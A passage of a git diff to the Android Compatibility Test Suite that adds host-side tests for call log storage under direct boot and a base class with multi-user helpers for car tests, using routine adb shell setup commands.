+    certificate: ":cts-testkey1",
+}
diff --git a/hostsidetests/calllog/app/AndroidManifest.xml b/hostsidetests/calllog/app/AndroidManifest.xml
new file mode 100644
index 0000000..3567d22
--- /dev/null
+++ b/hostsidetests/calllog/app/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.provider.cts.contacts.testapp">
+    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
+    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
+    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
+
+    <application android:label="CallLogTestApp">
+        <receiver android:name=".BootReceiver"
+                android:directBootAware="true"
+                android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+            </intent-filter>
+        </receiver>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.provider.cts.contacts.testapp" />
+</manifest>
diff --git a/hostsidetests/calllog/app/res/drawable/cupcake.png b/hostsidetests/calllog/app/res/drawable/cupcake.png
new file mode 100644
index 0000000..dcc74e5
--- /dev/null
+++ b/hostsidetests/calllog/app/res/drawable/cupcake.png
Binary files differ
diff --git a/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java
new file mode 100644
index 0000000..3dd9cca
--- /dev/null
+++ b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/BootReceiver.java
@@ -0,0 +1,58 @@
+package android.provider.cts.contacts.testapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class BootReceiver extends BroadcastReceiver {
+    private static final String LOG_TAG = "CallLogTestBootReceiver";
+    public static final String BOOT_COMPLETE = "boot_complete";
+    public static final String LOCKED_BOOT_COMPLETE = "locked_boot_complete";
+    public static final String SHARED_PREFS_NAME = "boot_complete_info";
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        if (Intent.ACTION_LOCKED_BOOT_COMPLETED.equals(intent.getAction())) {
+            SharedPreferences prefs = context.createDeviceProtectedStorageContext()
+                    .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+            prefs.edit().putBoolean(LOCKED_BOOT_COMPLETE, true).commit();
+            Log.i(LOG_TAG, "Received locked boot complete");
+        } else if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
+            SharedPreferences dePrefs = context.createDeviceProtectedStorageContext()
+                    .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+            SharedPreferences cePrefs = context.createCredentialProtectedStorageContext()
+                    .getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+            dePrefs.edit().putBoolean(BOOT_COMPLETE, true).commit();
+            cePrefs.edit().putBoolean(BOOT_COMPLETE, true)
+                    .putBoolean(LOCKED_BOOT_COMPLETE, true).commit();
+            Log.i(LOG_TAG, "Received boot complete");
+        }
+    }
+
+    public static boolean waitForBootComplete(Context context, String action, long timeoutMillis)
+            throws Exception {
+        SharedPreferences prefs =
+                context.getSharedPreferences(SHARED_PREFS_NAME, Context.MODE_PRIVATE);
+        CompletableFuture<Void> onBootCompleteChanged = new CompletableFuture<>();
+        prefs.registerOnSharedPreferenceChangeListener(
+                (sharedPreferences, key) -> {
+                    if (action.equals(key)) {
+                        onBootCompleteChanged.complete(null);
+                    }
+                });
+        if (prefs.getBoolean(action, false)) return true;
+        try {
+            onBootCompleteChanged.get(timeoutMillis, TimeUnit.MILLISECONDS);
+        } catch (TimeoutException e) {
+            Log.w(LOG_TAG, "Timed out waiting for " + action);
+            return false;
+        }
+        return true;
+    }
+}
diff --git a/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java
new file mode 100644
index 0000000..d16f0bd
--- /dev/null
+++ b/hostsidetests/calllog/app/src/android/provider/cts/contacts/testapp/CallLogDirectBootTest.java
@@ -0,0 +1,154 @@
+package android.provider.cts.contacts.testapp;
+
+import static org.junit.Assert.assertArrayEquals;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
+import android.provider.CallLog;
+import android.support.test.uiautomator.UiDevice;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+import android.util.Pair;
+import android.view.KeyEvent;
+
+import androidx.annotation.NonNull;
+
+import java.io.ByteArrayOutputStream;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+// Copied piecemail from EncryptionAppTest and adapted to test the call log.
+public class CallLogDirectBootTest extends InstrumentationTestCase {
+
+    private static final String LOG_TAG = CallLogDirectBootTest.class.getSimpleName();
+    private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
+
+    private Context mCe;
+    private Context mDe;
+    private UiDevice mDevice;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mCe = getInstrumentation().getContext();
+        mDe = mCe.createDeviceProtectedStorageContext();
+
+        mDevice = UiDevice.getInstance(getInstrumentation());
+        assertNotNull(mDevice);
+    }
+
+    public void testShadowCallComposerPicture() throws Exception {
+        BootReceiver.waitForBootComplete(mDe, BootReceiver.LOCKED_BOOT_COMPLETE,60000);
+        Log.i(LOG_TAG, "Locked boot complete received, starting test");
+
+        byte[] expected = readResourceDrawable(mDe, R.drawable.cupcake);
+        Log.i(LOG_TAG, "read drawable from resources");
+
+
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            // While still locked, write a picture to the call log, assuming it ends up in the shadow.
+            CompletableFuture<Pair<Uri, CallLog.CallComposerLoggingException>> resultFuture =
+                    new CompletableFuture<>();
+            Pair<Uri, CallLog.CallComposerLoggingException> result;
+            try (InputStream inputStream =
+                         mDe.getResources().openRawResource(R.drawable.cupcake)) {
+                CallLog.storeCallComposerPictureAsUser(mDe, android.os.Process.myUserHandle(),
+                        inputStream,
+                        Executors.newSingleThreadExecutor(),
+                        new OutcomeReceiver<Uri, CallLog.CallComposerLoggingException>() {
+                            @Override
+                            public void onResult(@NonNull Uri result) {
+                                resultFuture.complete(Pair.create(result, null));
+                            }
+
+                            @Override
+                            public void onError(CallLog.CallComposerLoggingException error) {
+                                resultFuture.complete(Pair.create(null, error));
+                            }
+                        });
+                result = resultFuture.get(CONTENT_RESOLVER_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            }
+            if (result.second != null) {
+                fail("Got error " + result.second.getErrorCode() + " when storing image");
+            }
+            Log.i(LOG_TAG, "successfully received uri for inserted image");
+            Uri imageLocation = result.first.buildUpon().authority(CallLog.AUTHORITY).build();
+
+            final CountDownLatch latch = new CountDownLatch(1);
+            final BroadcastReceiver receiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    latch.countDown();
+                }
+            };
+            getInstrumentation().getContext().createDeviceProtectedStorageContext()
+                    .registerReceiver(receiver, new IntentFilter(Intent.ACTION_USER_UNLOCKED));
+
+            dismissKeyguard();
+
+            // Dismiss keyguard should have kicked off immediate broadcast
+            assertTrue("USER_UNLOCKED", latch.await(1, TimeUnit.MINUTES));
+
+            BootReceiver.waitForBootComplete(mCe, BootReceiver.BOOT_COMPLETE, 60000);
+
+            try (ParcelFileDescriptor pfd =
+                         mCe.getContentResolver().openFileDescriptor(imageLocation, "r")) {
+                byte[] remoteBytes = readBytes(new FileInputStream(pfd.getFileDescriptor()));
+                assertArrayEquals(expected, remoteBytes);
+            }
+        } finally {
+            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+            dismissKeyguard();
+        }
+    }
+
+    private static byte[] readResourceDrawable(Context context, int id) throws Exception {
+        InputStream inputStream = context.getResources().openRawResource(id);
+        return readBytes(inputStream);
+    }
+
+    private static byte[] readBytes(InputStream inputStream) throws Exception {
+        byte[] buffer = new byte[1024];
+        ByteArrayOutputStream output = new ByteArrayOutputStream();
+        int numRead;
+        do {
+            numRead = inputStream.read(buffer);
+            if (numRead > 0) output.write(buffer, 0, numRead);
+        } while (numRead > 0);
+        return output.toByteArray();
+    }
+
+    private void enterTestPin() throws Exception {
+        mDevice.waitForIdle();
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_1);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_2);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_3);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_4);
+        mDevice.pressKeyCode(KeyEvent.KEYCODE_5);
+        mDevice.waitForIdle();
+        mDevice.pressEnter();
+        mDevice.waitForIdle();
+    }
+
+    private void dismissKeyguard() throws Exception {
+        mDevice.wakeUp();
+        mDevice.waitForIdle();
+        mDevice.pressMenu();
+        mDevice.waitForIdle();
+        enterTestPin();
+        mDevice.waitForIdle();
+        mDevice.pressHome();
+        mDevice.waitForIdle();
+    }
+}
diff --git a/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
new file mode 100644
index 0000000..086cf80
--- /dev/null
+++ b/hostsidetests/calllog/src/android/provider/cts/contacts/hostside/ShadowCallLogTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts.hostside;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.AdbCommandRejectedException;
+import com.android.ddmlib.CollectingOutputReceiver;
+import com.android.ddmlib.Log;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class ShadowCallLogTest extends BaseHostJUnit4Test {
+    private static final String TAG = ShadowCallLogTest.class.getSimpleName();
+
+    private static final String PKG = "android.provider.cts.contacts.testapp";
+    private static final String CLASS = PKG + ".CallLogDirectBootTest";
+    private static final String APK = "CtsCallLogDirectBootApp.apk";
+
+    private static final String MODE_EMULATED = "emulated";
+    private static final String MODE_NONE = "none";
+
+    private static final long SHUTDOWN_TIME_MS = 30 * 1000;
+
+    @Before
+    public void setUp() throws Exception {
+        assertNotNull(getAbi());
+        assertNotNull(getBuild());
+
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @Test
+    public void testDirectBootCallLog() throws Exception {
+        String fbeMode = getDevice().executeShellCommand("sm get-fbe-mode").trim();
+        if (MODE_NONE.equals(fbeMode)) {
+            Log.i(TAG, "Device doesn't support FBE, skipping.");
+            return;
+        }
+        try {
+            Log.i(TAG, "Test starting");
+            waitForBootCompleted(getDevice());
+            // Set up test app and secure lock screens
+            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(getBuild());
+            File apkFile = buildHelper.getTestFile(APK);
+            getDevice().installPackage(apkFile, true);
+            Log.i(TAG, "Package installed");
+
+            setupDevicePassword();
+
+            // Give enough time for vold to update keys
+            Thread.sleep(15000);
+
+            Log.i(TAG, "Rebooting device");
+            // Reboot system into known state with keys ejected
+            if (MODE_EMULATED.equals(fbeMode)) {
+                final String res = getDevice().executeShellCommand("sm set-emulate-fbe true");
+                if (res != null && res.contains("Emulation not supported")) {
+                    return;
+                }
+                getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
+                getDevice().waitForDeviceOnline(120000);
+            } else {
+                getDevice().rebootUntilOnline();
+            }
+            waitForBootCompleted(getDevice());
+
+            assertTrue(runDeviceTests(PKG, CLASS, "testShadowCallComposerPicture"));
+        } catch (Throwable t) {
+            Log.e(TAG, "Error encountered: " + t);
+        } finally {
+            try {
+                // Remove secure lock screens and tear down test app
+                Log.i(TAG, "Attempting to remove device password");
+                removeDevicePassword();
+            } finally {
+                Log.i(TAG, "Final cleanup");
+                getDevice().uninstallPackage(PKG);
+
+                // Get ourselves back into a known-good state
+                if (MODE_EMULATED.equals(fbeMode)) {
+                    getDevice().executeShellCommand("sm set-emulate-fbe false");
+                    getDevice().waitForDeviceNotAvailable(SHUTDOWN_TIME_MS);
+                    getDevice().waitForDeviceOnline();
+                } else {
+                    getDevice().rebootUntilOnline();
+                }
+                getDevice().waitForDeviceAvailable();
+            }
+        }
+    }
+
+    private void setupDevicePassword() throws Exception {
+        Log.i(TAG, "running device password setup");
+        ITestDevice device = getDevice();
+        device.executeShellCommand("settings put global require_password_to_decrypt 0");
+        device.executeShellCommand("locksettings set-disabled false");
+        device.executeShellCommand("locksettings set-pin 12345");
+    }
+
+    private void removeDevicePassword() throws Exception {
+        Log.i(TAG, "clearing device password");
+        ITestDevice device = getDevice();
+        device.executeShellCommand("locksettings clear --old 12345");
+        device.executeShellCommand("locksettings set-disabled true");
+        device.executeShellCommand("settings delete global require_password_to_decrypt");
+    }
+
+    public static void waitForBootCompleted(ITestDevice device) throws Exception {
+        for (int i = 0; i < 45; i++) {
+            if (isBootCompleted(device)) {
+                Log.d(TAG, "Yay, system is ready!");
+                // or is it really ready?
+                // guard against potential USB mode switch weirdness at boot
+                Thread.sleep(10 * 1000);
+                return;
+            }
+            Log.d(TAG, "Waiting for system ready...");
+            Thread.sleep(1000);
+        }
+        throw new AssertionError("System failed to become ready!");
+    }
+
+    private static boolean isBootCompleted(ITestDevice device) throws Exception {
+        CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+        try {
+            device.getIDevice().executeShellCommand("getprop sys.boot_completed", receiver);
+        } catch (AdbCommandRejectedException e) {
+            // do nothing: device might be temporarily disconnected
+            Log.d(TAG, "Ignored AdbCommandRejectedException while `getprop sys.boot_completed`");
+        }
+        String output = receiver.getOutput();
+        if (output != null) {
+            output = output.trim();
+        }
+        return "1".equals(output);
+    }
+}
diff --git a/hostsidetests/car/Android.bp b/hostsidetests/car/Android.bp
index 1df7b6d..b856b74 100644
--- a/hostsidetests/car/Android.bp
+++ b/hostsidetests/car/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsCarHostTestCases",
     defaults: ["cts_defaults"],
@@ -33,4 +29,10 @@
         "cts",
         "general-tests",
     ],
+    static_libs: [
+    	"cts-statsd-atom-host-test-utils",
+    ],
+    data: [
+        ":CtsCarApp",
+    ],
 }
diff --git a/hostsidetests/car/app/Android.bp b/hostsidetests/car/app/Android.bp
new file mode 100644
index 0000000..79df69b
--- /dev/null
+++ b/hostsidetests/car/app/Android.bp
@@ -0,0 +1,20 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsCarApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/car/app/AndroidManifest.xml b/hostsidetests/car/app/AndroidManifest.xml
new file mode 100755
index 0000000..17b2685
--- /dev/null
+++ b/hostsidetests/car/app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.car.cts.app">
+
+    <application>
+        <activity android:name=".SimpleActivity" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/car/app/src/android/car/cts/app/SimpleActivity.java b/hostsidetests/car/app/src/android/car/cts/app/SimpleActivity.java
new file mode 100644
index 0000000..ce70a7c
--- /dev/null
+++ b/hostsidetests/car/app/src/android/car/cts/app/SimpleActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Very simple activity.
+ */
+public final class SimpleActivity extends Activity {
+
+    private static final String TAG = SimpleActivity.class.getSimpleName();
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        Log.i(TAG, "onCreate()");
+        super.onCreate(savedInstanceState);
+    };
+}
diff --git a/hostsidetests/car/src/android/car/cts/CarHostJUnit4TestCase.java b/hostsidetests/car/src/android/car/cts/CarHostJUnit4TestCase.java
new file mode 100644
index 0000000..ff61403
--- /dev/null
+++ b/hostsidetests/car/src/android/car/cts/CarHostJUnit4TestCase.java
@@ -0,0 +1,516 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.car.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.service.pm.PackageProto;
+import android.service.pm.PackageProto.UserPermissionsProto;
+import android.service.pm.PackageServiceDumpProto;
+
+import com.android.compatibility.common.util.CommonTestUtils;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.ITestInformationReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.function.Function;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Base class for all test cases.
+ */
+// NOTE: must be public because of @Rules
+public abstract class CarHostJUnit4TestCase extends BaseHostJUnit4Test {
+
+    private static final int DEFAULT_TIMEOUT_SEC = 20;
+
+    private static final Pattern CREATE_USER_OUTPUT_PATTERN = Pattern.compile("id=(\\d+)");
+
+    /**
+     * User pattern in the output of "cmd user list --all -v"
+     * TEXT id=<id> TEXT name=<name>, TEX flags=<flags> TEXT
+     * group 1: id group 2: name group 3: flags group 4: other state(like "(running)")
+     */
+    private static final Pattern USER_PATTERN = Pattern.compile(
+            ".*id=(\\d+).*name=([^\\s,]+).*flags=(\\S+)(.*)");
+
+    private static final int USER_PATTERN_GROUP_ID = 1;
+    private static final int USER_PATTERN_GROUP_NAME = 2;
+    private static final int USER_PATTERN_GROUP_FLAGS = 3;
+    private static final int USER_PATTERN_GROUP_OTHER_STATE = 4;
+
+    /**
+     * User's package permission pattern string format in the output of "dumpsys package PKG_NAME"
+    */
+    protected static final String APP_APK = "CtsCarApp.apk";
+    protected static final String APP_PKG = "android.car.cts.app";
+
+    @Rule
+    public final RequiredFeatureRule mHasAutomotiveRule = new RequiredFeatureRule(this,
+            "android.hardware.type.automotive");
+
+    private final HashSet<Integer> mUsersToBeRemoved = new HashSet<>();
+
+    private int mInitialUserId;
+    private Integer mInitialMaximumNumberOfUsers;
+
+    /**
+     * Saves multi-user state so it can be restored after the test.
+     */
+    @Before
+    public void saveUserState() throws Exception {
+        mInitialUserId = getCurrentUserId();
+    }
+
+    /**
+     * Restores multi-user state from before the test.
+     */
+    @After
+    public void restoreUsersState() throws Exception {
+        int currentUserId = getCurrentUserId();
+        CLog.d("restoreUsersState(): initial user: %d, current user: %d, created users: %s "
+                + "max number of users: %d",
+                mInitialUserId, currentUserId, mUsersToBeRemoved, mInitialMaximumNumberOfUsers);
+        if (currentUserId != mInitialUserId) {
+            CLog.i("Switching back from %d to %d", currentUserId, mInitialUserId);
+            switchUser(mInitialUserId);
+        }
+
+        if (!mUsersToBeRemoved.isEmpty()) {
+            CLog.i("Removing users %s", mUsersToBeRemoved);
+            for (int userId : mUsersToBeRemoved) {
+                removeUser(userId);
+            }
+        }
+
+        if (mInitialMaximumNumberOfUsers != null) {
+            CLog.i("Restoring max number of users to %d", mInitialMaximumNumberOfUsers);
+            setMaxNumberUsers(mInitialMaximumNumberOfUsers);
+        }
+    }
+
+    /**
+     * Makes sure the device supports multiple users, throwing {@link AssumptionViolatedException}
+     * if it doesn't.
+     */
+    protected void assumeSupportsMultipleUsers() throws Exception {
+        assumeTrue("device does not support multi-user",
+                getDevice().getMaxNumberOfUsersSupported() > 1);
+    }
+
+    /**
+     * Makes sure the device can add {@code numberOfUsers} new users, increasing limit if needed or
+     * failing if not possible.
+     */
+    protected void requiresExtraUsers(int numberOfUsers) throws Exception {
+        assumeSupportsMultipleUsers();
+
+        int maxNumber = getDevice().getMaxNumberOfUsersSupported();
+        int currentNumber = getDevice().listUsers().size();
+
+        if (currentNumber + numberOfUsers <= maxNumber) return;
+
+        if (!getDevice().isAdbRoot()) {
+            failCannotCreateUsers(numberOfUsers, currentNumber, maxNumber, /* isAdbRoot= */ false);
+        }
+
+        // Increase limit...
+        mInitialMaximumNumberOfUsers = maxNumber;
+        setMaxNumberUsers(maxNumber + numberOfUsers);
+
+        // ...and try again
+        maxNumber = getDevice().getMaxNumberOfUsersSupported();
+        if (currentNumber + numberOfUsers > maxNumber) {
+            failCannotCreateUsers(numberOfUsers, currentNumber, maxNumber, /* isAdbRoot= */ true);
+        }
+    }
+
+    private void failCannotCreateUsers(int numberOfUsers, int currentNumber, int maxNumber,
+            boolean isAdbRoot) {
+        String reason = isAdbRoot ? "failed to increase it"
+                : "cannot be increased without adb root";
+        String existingUsers = "";
+        try {
+            existingUsers = "Existing users: " + executeCommand("cmd user list --all -v");
+        } catch (Exception e) {
+            // ignore
+        }
+        fail("Cannot create " + numberOfUsers + " users: current number is " + currentNumber
+                + ", limit is " + maxNumber + " and could not be increased (" + reason + "). "
+                + existingUsers);
+    }
+
+    /**
+     * Executes the shell command and returns the output.
+     */
+    protected String executeCommand(String command, Object... args) throws Exception {
+        String fullCommand = String.format(command, args);
+        return getDevice().executeShellCommand(fullCommand);
+    }
+
+    /**
+     * Executes the shell command and parses output with {@code resultParser}.
+     */
+    protected <T> T executeAndParseCommand(Function<String, T> resultParser,
+            String command, Object... args) throws Exception {
+        String output = executeCommand(command, args);
+        return resultParser.apply(output);
+    }
+
+    /**
+     * Executes the shell command and parses the Matcher output with {@code resultParser}, failing
+     * with {@code matchNotFoundErrorMessage} if it didn't match the {@code regex}.
+     */
+    protected <T> T executeAndParseCommand(Pattern regex, String matchNotFoundErrorMessage,
+            Function<Matcher, T> resultParser,
+            String command, Object... args) throws Exception {
+        String output = executeCommand(command, args);
+        Matcher matcher = regex.matcher(output);
+        if (!matcher.find()) {
+            fail(matchNotFoundErrorMessage);
+        }
+        return resultParser.apply(matcher);
+    }
+
+    /**
+     * Executes the shell command and parses the Matcher output with {@code resultParser}.
+     */
+    protected <T> T executeAndParseCommand(Pattern regex, Function<Matcher, T> resultParser,
+            String command, Object... args) throws Exception {
+        String output = executeCommand(command, args);
+        return resultParser.apply(regex.matcher(output));
+    }
+
+    /**
+     * Executes the shell command that returns all users and returns {@code function} applied to
+     * them.
+     */
+    public <T> T onAllUsers(Function<List<UserInfo>, T> function) throws Exception {
+        ArrayList<UserInfo> allUsers = executeAndParseCommand(USER_PATTERN, (matcher) -> {
+            ArrayList<UserInfo> users = new ArrayList<>();
+            while (matcher.find()) {
+                users.add(new UserInfo(matcher));
+            }
+            return users;
+        }, "cmd user list --all -v");
+        return function.apply(allUsers);
+    }
+
+    /**
+     * Gets the info for the given user.
+     */
+    public UserInfo getUserInfo(int userId) throws Exception {
+        return onAllUsers((allUsers) -> allUsers.stream()
+                .filter((u) -> u.id == userId))
+                        .findFirst().get();
+    }
+
+    /**
+     * Sets the maximum number of users that can be created for this car.
+     *
+     * @throws IllegalStateException if adb is not running as root
+     */
+    protected void setMaxNumberUsers(int numUsers) throws Exception {
+        if (!getDevice().isAdbRoot()) {
+            throw new IllegalStateException("must be running adb root");
+        }
+        executeCommand("setprop fw.max_users %d", numUsers);
+    }
+
+    /**
+     * Gets the current user's id.
+     */
+    protected int getCurrentUserId() throws DeviceNotAvailableException {
+        return getDevice().getCurrentUser();
+    }
+
+    /**
+     * Creates a full user with car service shell command.
+     */
+    protected int createFullUser(String name) throws Exception {
+        return createUser(name, /* flags= */ 0, "android.os.usertype.full.SECONDARY");
+    }
+
+    /**
+     * Creates a full guest with car service shell command.
+     */
+    protected int createGuestUser(String name) throws Exception {
+        return createUser(name, /* flags= */ 0, "android.os.usertype.full.GUEST");
+    }
+
+    /**
+     * Creates a flexible user with car service shell command.
+     *
+     * <p><b>NOTE: </b>it uses User HAL flags, not core Android's.
+     */
+    protected int createUser(String name, int flags, String type) throws Exception {
+        waitForCarServiceReady();
+        int userId = executeAndParseCommand(CREATE_USER_OUTPUT_PATTERN,
+                "Could not create user with name " + name + ", flags " + flags + ", type" + type,
+                matcher -> Integer.parseInt(matcher.group(1)),
+                "cmd car_service create-user --flags %d --type %s %s",
+                flags, type, name);
+        markUserForRemovalAfterTest(userId);
+        return userId;
+    }
+
+    /**
+     * Marks a user to be removed at the end of the tests.
+     */
+    protected void markUserForRemovalAfterTest(int userId) {
+        mUsersToBeRemoved.add(userId);
+    }
+
+    /**
+     * Waits until the given user is initialized.
+     */
+    protected void waitForUserInitialized(int userId) throws Exception {
+        CommonTestUtils.waitUntil("timed out waiting for user " + userId + " initialization",
+                DEFAULT_TIMEOUT_SEC, () -> isUserInitialized(userId));
+    }
+
+    /**
+     * Waits until the system server is ready.
+     */
+    protected void waitForCarServiceReady() throws Exception {
+        CommonTestUtils.waitUntil("timed out waiting for system server ",
+                DEFAULT_TIMEOUT_SEC, () -> isCarServiceReady());
+    }
+
+    protected boolean isCarServiceReady() {
+        String cmd = "service check car_service";
+        try {
+            String output = getDevice().executeShellCommand(cmd);
+            return !output.endsWith("not found");
+        } catch (Exception e) {
+            CLog.i("%s failed: %s", cmd, e.getMessage());
+        }
+        return false;
+    }
+
+    /**
+     * Asserts that the given user is initialized.
+     */
+    protected void assertUserInitialized(int userId) throws Exception {
+        assertWithMessage("User %s not initialized", userId).that(isUserInitialized(userId))
+                .isTrue();
+        CLog.v("User %d is initialized", userId);
+    }
+
+    /**
+     * Checks if the given user is initialized.
+     */
